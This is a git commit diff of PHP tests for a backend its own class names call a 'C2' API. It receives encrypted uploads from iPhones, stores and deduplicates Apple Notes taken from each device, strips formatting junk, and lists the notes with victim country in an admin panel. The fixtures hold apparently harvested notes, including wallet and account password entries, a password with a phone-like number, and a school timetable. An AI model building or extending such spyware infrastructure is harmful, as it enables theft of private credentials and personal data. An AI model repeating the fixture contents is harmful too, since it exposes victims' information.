feat: note

This commit is contained in:
hashbro
2026-09-08 04:53:35 +08:00
parent 9626fcc598
commit c1d24ab815
19 changed files with 870 additions and 58 deletions
+2 -1
View File
@@ -599,7 +599,8 @@ class C2ApiTest extends TestCase
$this->assertNotNull($note);
$this->assertIsArray($note->content);
$this->assertCount(2, $note->content);
$this->assertStringContainsString('spawn rabbit', $note->content[0]);
$this->assertSame('spawn rabbit unusual favorite yard recipe', $note->content[0]['title'] ?? null);
$this->assertStringContainsString('spawn rabbit', $note->content[0]['body'] ?? '');
}
#[Test]
+62
View File
@@ -0,0 +1,62 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Device;
use App\Models\PageVisit;
use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class DeviceCountryTest extends TestCase
{
use RefreshDatabase;
#[Test]
public function xxbb_profile_stores_cf_country_and_show_renders_it(): void
{
$ts = '1786468227899';
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([
'd' => '000C30D83CD0402E',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
], $ts);
$this->call('POST', '/a', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => $ts,
'HTTP_CF_IPCOUNTRY' => 'US',
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('US', $device->country);
$this->assertStringContainsString('(美国)', $device->formattedIp());
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->get(route('admin.devices.show', $device))
->assertOk()
->assertSee('(美国)', false);
}
#[Test]
public function show_falls_back_to_visit_country_when_device_country_empty(): void
{
$device = Device::query()->create([
'device_id' => '000C30D83CD0402E',
'ip' => '1.2.3.4',
]);
PageVisit::query()->create([
'channel_id' => '0.0.01',
'client_uid' => 'aaaaaaaaaaaaaaaa',
'ip' => '1.2.3.4',
'country' => 'FR',
]);
$this->assertSame('FR', $device->resolvedCountry());
$this->assertSame('1.2.3.4(法国)', $device->formattedIp());
}
}
+62
View File
@@ -0,0 +1,62 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Device;
use App\Models\Note;
use App\Support\NoteContent;
use Illuminate\Foundation\Testing\RefreshDatabase;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class NoteAdminTest extends TestCase
{
use RefreshDatabase;
#[Test]
public function notes_data_returns_titles_not_raw_json(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create([
'device_id' => '0001099E0C87802E',
'channel_id' => '0.0.01',
]);
$items = NoteContent::fromList(['芝士账号密码', 'Instagram ']);
Note::query()->create([
'device_id' => $device->id,
'content' => $items,
'content_hash' => NoteContent::hash($items),
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.notes.data'))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('count', 1)
->assertJsonPath('data.0.item_count', 2)
->assertJsonPath('data.0.preview', '芝士账号密码 · Instagram')
->assertJsonPath('data.0.items.0.title', '芝士账号密码')
->assertJsonMissing(['content' => '芝士账号密码']);
}
#[Test]
public function device_notes_tab_lists_items(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => '000E71921140C01E']);
$items = NoteContent::fromList(['U钱包密码', "密码15889321433zjp\nmore"]);
Note::query()->create([
'device_id' => $device->id,
'content' => $items,
'content_hash' => NoteContent::hash($items),
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'notes']))
->assertOk()
->assertJsonPath('count', 2)
->assertJsonPath('data.0.title', 'U钱包密码')
->assertJsonPath('data.1.title', '密码15889321433zjp');
}
}
+27 -1
View File
@@ -244,7 +244,33 @@ class XxbbC2ApiTest extends TestCase
$note = Note::query()->where('device_id', $device->id)->first();
$this->assertIsArray($note->content);
$this->assertCount(2, $note->content);
$this->assertStringContainsString('spawn rabbit', $note->content[0]);
$this->assertSame('spawn rabbit unusual favorite yard recipe', $note->content[0]['title'] ?? null);
$this->assertStringContainsString('spawn rabbit', $note->content[0]['body'] ?? '');
$this->assertSame('second note line', $note->content[1]['title'] ?? null);
}
#[Test]
public function nb_dedups_identical_list(): void
{
$payload = [
'd' => '000C30D83CD0402E',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'list' => ['alpha note', 'beta note'],
];
$this->xxbbPost('/nb', $payload)->assertOk();
$this->xxbbPost('/nb', $payload)->assertOk();
$this->xxbbPost('/nb', [
'd' => '000C30D83CD0402E',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'list' => ['alpha note', 'beta note', 'gamma note'],
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame(1, Note::query()->where('device_id', $device->id)->count());
$note = Note::query()->where('device_id', $device->id)->first();
$this->assertCount(3, $note->items());
$this->assertSame('gamma note', $note->items()[2]['title'] ?? null);
}
#[Test]
+86
View File
@@ -0,0 +1,86 @@
<?php
namespace Tests\Unit;
use App\Support\NoteContent;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class NoteContentTest extends TestCase
{
#[Test]
public function splits_string_notes_and_strips_apple_notes_junk(): void
{
$items = NoteContent::fromList([
"扫描2\nhello body\n\n(\n(\n \n\$A8917AB7-F855-4E16-A794-B7B8DF44C783com.apple.notes.gallery",
['id' => 26, 'mod' => 0, 'title' => '新备忘录', 'snippet' => ''],
"密码285591",
]);
$this->assertCount(3, $items);
$this->assertSame('扫描2', $items[0]['title']);
$this->assertStringContainsString('hello body', $items[0]['body']);
$this->assertStringNotContainsString('com.apple.notes.gallery', $items[0]['body']);
$this->assertSame('新备忘录', $items[1]['title']);
$this->assertSame(26, $items[1]['native_id']);
$this->assertSame('密码285591', $items[2]['title']);
}
#[Test]
public function hash_is_stable_and_titles_preview(): void
{
$items = NoteContent::fromList(['alpha', 'beta', 'gamma']);
$this->assertSame(NoteContent::hash($items), NoteContent::hash($items));
$this->assertSame(['alpha', 'beta'], NoteContent::titles($items, 2));
}
#[Test]
public function drops_empty_junk_only_items(): void
{
$this->assertSame([], NoteContent::fromList(["\n(\n\t (\n"]));
}
#[Test]
public function keeps_title_as_body_when_rest_is_notes_junk(): void
{
$items = NoteContent::fromList(["spawn rabbit unusual favorite yard recipe\n(R(R"]);
$this->assertCount(1, $items);
$this->assertSame('spawn rabbit unusual favorite yard recipe', $items[0]['title']);
$this->assertSame('spawn rabbit unusual favorite yard recipe', $items[0]['body']);
}
#[Test]
public function cuts_attributed_string_suffix(): void
{
$raw = "8月行事曆\n8.11\n買冬季校服+领夏季校服\n中一适应课程(9:00-11:15)\n<(\n?(\n>(\n{(\nP(!\nR(\"\n[(#\na($\n|(%\n~ ('\nN\n(+\nhבĦ\ncom.apple.drawing.2";
$items = NoteContent::fromList([$raw]);
$this->assertCount(1, $items);
$this->assertSame('8月行事曆', $items[0]['title']);
$this->assertStringContainsString('中一适应课程(9:00-11:15)', $items[0]['body']);
$this->assertStringNotContainsString('<(', $items[0]['body']);
$this->assertStringNotContainsString('P(!', $items[0]['body']);
$this->assertStringNotContainsString('com.apple.drawing', $items[0]['body']);
$this->assertStringNotContainsString('Ħ', $items[0]['body']);
}
#[Test]
public function cuts_ascii_soup_line_after_real_text(): void
{
$items = NoteContent::fromList(["武汉\n帽子\n泡面\n(210/.-qponmlk+*)('&%\$#\"!"]);
$this->assertSame('武汉', $items[0]['title']);
$this->assertStringContainsString('泡面', $items[0]['body']);
$this->assertStringNotContainsString('qponmlk', $items[0]['body']);
}
#[Test]
public function cuts_long_protobuf_alphabet_dump(): void
{
$raw = "Face à lui...\nJe peux aussi respecter la crainte.\nLouis\n(\u{FFFD}%\u{FFFD}jKKKdcccbaa`]\\V^[QJIHQG>QQFFFQOOOOONNQMMMLLQQQL^DCBA@?~}||{zonlk77777762110/111115443,++8! .--&&\$#*&&&%&1GoB";
$items = NoteContent::fromList([$raw]);
$this->assertSame('Face à lui...', $items[0]['title']);
$this->assertStringContainsString('Je peux aussi respecter la crainte.', $items[0]['body']);
$this->assertStringContainsString('Louis', $items[0]['body']);
$this->assertStringNotContainsString('KKKdcccbaa', $items[0]['body']);
$this->assertStringNotContainsString('zonlk777', $items[0]['body']);
}
}